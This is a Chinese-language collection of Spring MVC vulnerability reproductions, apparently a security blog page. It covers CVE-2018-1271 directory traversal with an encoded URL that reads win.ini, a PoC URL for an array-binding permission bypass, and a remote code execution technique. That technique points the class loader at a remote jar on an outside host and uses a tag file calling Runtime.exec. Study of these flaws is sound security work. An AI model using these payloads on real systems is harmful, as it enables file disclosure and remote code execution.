Spring MVC漏洞合集
Spring MVC 目录穿越漏洞(CVE-2018-1271)
漏洞简介
2018年04月05日,Pivotal公布了Spring MVC存在一个目录穿越漏洞(CVE-2018-1271)。Spring Framework版本5.0到5.0.4,4.3到4.3.14以及较旧的不受支持的版本允许应用程序配置Spring MVC以提供静态资源(例如CSS,JS,图像)。当Spring MVC的静态资源存放在Windows系统上时,攻击可以通过构造特殊URL导致目录遍历漏洞。
漏洞影响
Spring Framework 5.0 to 5.0.4.
Spring Framework 4.3 to 4.3.14
已不支持的旧版本仍然受影响
漏洞利用条件
Server运行于Windows系统上
要使用file协议打开资源文件目录
漏洞复现
复现环境
操作系统Windows
中间件jetty
环境搭建
1.下载 spring-mvc-showcase
git clone https://github.com/spring-projects/spring-mvc-showcase.git
修改pom.xml,使用Spring Framework 5.0.0。
.修改 Spring MVC 静态资源配置,可参考官方文档
通过官方文档可知有两种方式配置,可自行选择配置。此处通过重写WebMvcConfigurer中的addResourceHandlers方法来添加新的资源文件路径。在org.springframework.samples.mvc.config.WebMvcConfig添加以下代码即可,使用file://协议指定resources为静态文件目录。
registry.addResourceHandler("/resources/**").addResourceLocations("file:./src/main/resources/","/resources/");
3.使用 jetty 启动项目
mvn jetty:run
至此复现环境搭建完毕。
复现过程及结果
访问以下链接
http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
可以看到成功读取到win.ini的内容了。
Spring mvc数组只读权限绕过漏洞
poc : http://inbreak.net/springmvc/testjsp.htm?names[0]=xxxxx
Spring mvc远程代码执行漏洞
现在再来看看怎么才能远程代码执行,每次想到这里,都会想到这个老外太有才了。
getURLs方法,其实用的地方真的不多,只有在TldLocationsCache类,对页面的tld标签库处理时,才会从这一堆URL中获取tld文件。它的原理是从URL中指定的目录,去获取tld文件,允许从网络中获取tld文件。当一个tld放在jar中时,可以通过
jar:http://inbreak.net/kxlzx.jar!/ |
这个URL,会下载到tomcat服务器一个jar文件,然后从jar文件中,寻找tld文件,并且根据tld文件,做spring mvc标签库的进一步解析。
Tld文件自己有个标准(详见jsp标签库),在解析的时候,是允许直接使用jsp语法的,所以这就出现了远程代码执行的最终效果。
这是spring-form.tld原本的部分内容示例
Form标签里面有个input的标签,会根据开发人员的定义,给这些参数默认赋值,前面说到它是支持jsp语法的,所以拿spring原本的/META-INF/spring-form.tld文件,替换其中内容,可以把这个tld的原本input tag的内容替换为:
<!-- <form:input/> tag --><tag-file><name>input</name><path>/META-INF/tags/InputTag.tag</path></tag-file> |
这样指定让一个tag文件解析。
还缺一个/META-INF/tags/InputTag.tag
<%@ tag dynamic-attributes="dynattrs" %> <%j java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED"); %> |
做出这样的替换后,当开发者在controller中将任何一个对象绑定表单,并且最终展示的jsp内容有下面这些:
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%> <form:form commandName="user"> <form:input path="name"/> </form:form> |
攻击者访问url:
http://inbreak.net/springmvc/testjsp.htm? class.classLoader.URLs[0]=jar:http://inbreak.net/spring-exploit.jar!/ |
即可触发远程代码执行的效果,漏洞发布者写的POC真的很囧。原本页面会显示一个文本框才对,现在变成了一个空白,并且后台执行命令
mkdir /tmp/PWNED
注意,是所有的页面,凡是有input的地方,都会变成空白,这个标签直接被替换掉。
Spring MVC漏洞合集相关推荐
- Spring框架漏洞合集
Spring框架漏洞合集 Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977) 访问路径/oauth/authorize,会看到左上角有个绿色叶子的标志,一般都 ...
- spring漏洞合集 下
前言 现在的 java 开放的网站十个里面有九个是 spring 写的.网上对 spring 相关漏洞的资料很多,但是总结的文章却很少,再加上 spring 庞大的生态,每当看到 spring 相关网 ...
- @autowired注解_品Spring:对@Autowired和@Value注解的处理方法(文末附spring系列资源合集)...
作者:编程新说李新杰 出自:微信公众号"编程新说" 原文:品Spring:对@Autowired和@Value注解的处理方法 在Spring中能够完成依赖注入的注解有JavaSE提 ...
- Laravel 漏洞合集
Laravel 漏洞合集 Laravel 存在SQL注入漏洞 poc: /test?email=1&id=1 union select user()# /test?email=1/`& ...
- Spring MVC漏洞学习总结
Spring MVC命令执行漏洞 http://book.51cto.com/art/201204/330094.htm <白帽子讲Web安全>第12章Web框架安全,本章讲述了一些Web ...
- 二十八种未授权访问漏洞合集(暂时最全)
目录 0x01 未授权漏洞预览 0x02 Active MQ 未授权访问 0x03 Atlassian Crowd 未授权访问 0x04 CouchDB 未授权访问 0x05 Docker 未授权访问 ...
- MetInfo最新版代码审计漏洞合集
最近想给 X 天贡献点插件,时常会去留意 seebug 的最新漏洞列表,发现最近 MetInfo 的漏洞上座率蛮高的,就挑它来代码审计了一波. seebug 上均是 MetInfo 6.0.0 版本的 ...
- zend及Slim 漏洞合集
zend漏洞 zend framework文件读取漏洞分析 Zend Framework 1.11.13.1.12.0之前版本内的(1) Zend_Dom, (2) Zend_Feed, (3) Ze ...
- Typo3及Nette漏洞合集
Typo3 漏洞 Typo3 反序例化漏洞 在表单中提交任意符合数组格式的输入,在后端代码中都会被解析,然后后端根据TCA来进行判断并处理.比如我们在提交表单中新增一个名为a[b][c][d],值为2 ...
最新文章
- angular html清除元素,使用AngularJS删除DOM元素
- heatmap个人简单理解
- MTCNN-tensorflow源码解析之训练PNet网络-train_PNet.py
- 3-java学习笔记
- sicily 1295. 负权数
- matlab什么样的数表示0,matlab里a(i)~=0什么意思
- 格林酒店2020年第三季度营收为2.67亿元,恢复至同期91.4%
- ARM实现LED灯亮灭
- 新计算机如何用光盘安装系统,win7如何用光盘装系统_使用光盘重装win7系统步骤...
- CREATE TABLESPACE语法
- 物联网技术可以给养老院带来哪些变化
- 大学物理/量子物理基础/康普顿效应
- 黑洞猝灭剂BHQ-2 acid,1214891-99-2,BHQ-2 Carboxylic Acid用作各种荧光共振能量转移,这种探针主要用于分析。
- MindSpore求导传入sens值时infer报错For apos;MatMulapos;, the input dimensions
- 将PDF文件中的表格转换成Excel怎么转换
- (17)IPv4协议的功能实现原理
- FFmpeg RTMP推(收)HEVC/H265流 (ijk)
- jQuery的引入方式
- excel一列求和_EXCEL隔行隔列求和怎么操作
- c语言double类型数据四舍五入
热门文章
- JDK1.8的安装方式
- ETCD 一 什么是ETCD
- jQuery之.each( function(index, Element) )
- eclipse如何汉化--安装各国语言包
- 计算机选购配置项目活动,笔记本电脑选购活动计划.doc
- RuntimeError: Distributed package doesn‘t have NCCL built in
- C# FileInfo(System.IO)
- 计算机wonder基础知识,WonderSkills教材来了!一套更适合中国孩子的美国语文教材...
- win7启动无法自动修复此计算机,win7系统启动修复_win7系统中启动修复无法自动修复此计算机情况的三种解决方法介绍_win7双系统启动修复...
- 规范升级 NPM 包